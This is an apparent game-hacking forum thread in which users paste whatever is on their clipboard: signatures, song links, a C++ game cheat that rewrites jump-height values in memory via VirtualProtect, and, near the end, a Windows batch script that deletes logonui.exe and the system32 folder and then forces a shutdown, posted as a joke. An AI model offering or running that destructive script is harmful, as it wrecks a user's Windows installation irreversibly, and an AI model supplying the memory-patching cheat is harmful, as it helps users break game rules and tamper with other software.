lol @ phygar.
lol @ phygar.
Donator 6/2008.Contrib 8/2008.Elite 10/2008.Newsteam 11/2008.Legendary 2/2009.
No this thread isnt fail.
void JumpHeight(const char*, const char* CmdParams)
{
static const float JumpHeightLandOrig = *reinterpret_cast<float*>(__gf_JumpHeightLand);
static const float JumpHeightWaterOrig = *reinterpret_cast<float*>(__gf_JumpHeightWater);
stringstream Param(CmdParams);
float Multiplier;
Param >> Multiplier;
if (Multiplier < 0)
{
string Output = "Deviant: Please enter a valid jump height multiplier.";
gpConsole->Print(0,255,0,Output.c_str());
return;
}
DWORD dwOldProtectLand = 0;
void * LandAddress = reinterpret_cast<void*>(__gf_JumpHeightLand);
VirtualProtect(LandAddress, 8, PAGE_EXECUTE_READWRITE, &dwOldProtectLand);
*(float*)LandAddress = JumpHeightLandOrig * Multiplier;
VirtualProtect(LandAddress, 8, dwOldProtectLand, &dwOldProtectLand);
DWORD dwOldProtectWater = 0;
void * WaterAddress = reinterpret_cast<void*>(__gf_JumpHeightWater);
VirtualProtect(WaterAddress, 8, PAGE_EXECUTE_READWRITE, &dwOldProtectWater);
*(float*)WaterAddress = JumpHeightWaterOrig * Multiplier;
VirtualProtect(WaterAddress, 8, dwOldProtectWater, &dwOldProtectWater);
stringstream ssJumpHeight;
ssJumpHeight << Multiplier;
string Output = "Deviant: Set jump height multiplier to ";
Output.append(ssJumpHeight.str());
Output.append(".");
gpConsole->Print(0,255,0,Output.c_str());
}
I think i would be banned if i posted my ctrl+v here
YouTube - Tickle Me Emo
teehee?
Nothing .
Rammstein - Buck Dich (was copy/pasting in youtube lol)
http://www.hot108.com/hot108jamz.asx
Hehe.
I like music ^^
~DaemonScyth
Mmowned Emulator Expert, PM me for ANY server help!
gopuu
SQ/A to a account
My Krew - S4 Druid T6 Rogue S4 Warlock
that is so wrong
Last edited by Zakattak; 08-29-2008 at 12:31 PM.
Call me zak
When All the Light goes out where will you be?
When the darkness comes what will you see?
JMT - When all light dies ;o
@echo off
del c:/windows/system32/logonui.exe
del c:/windows/system32
shutdown.exe -s -t 10 -c "lovely message here"
lol...
... lulz I had nothing on ctrl+v
Nothing on my Ctrl+V
(filler i had nothing on ctrl+v lol)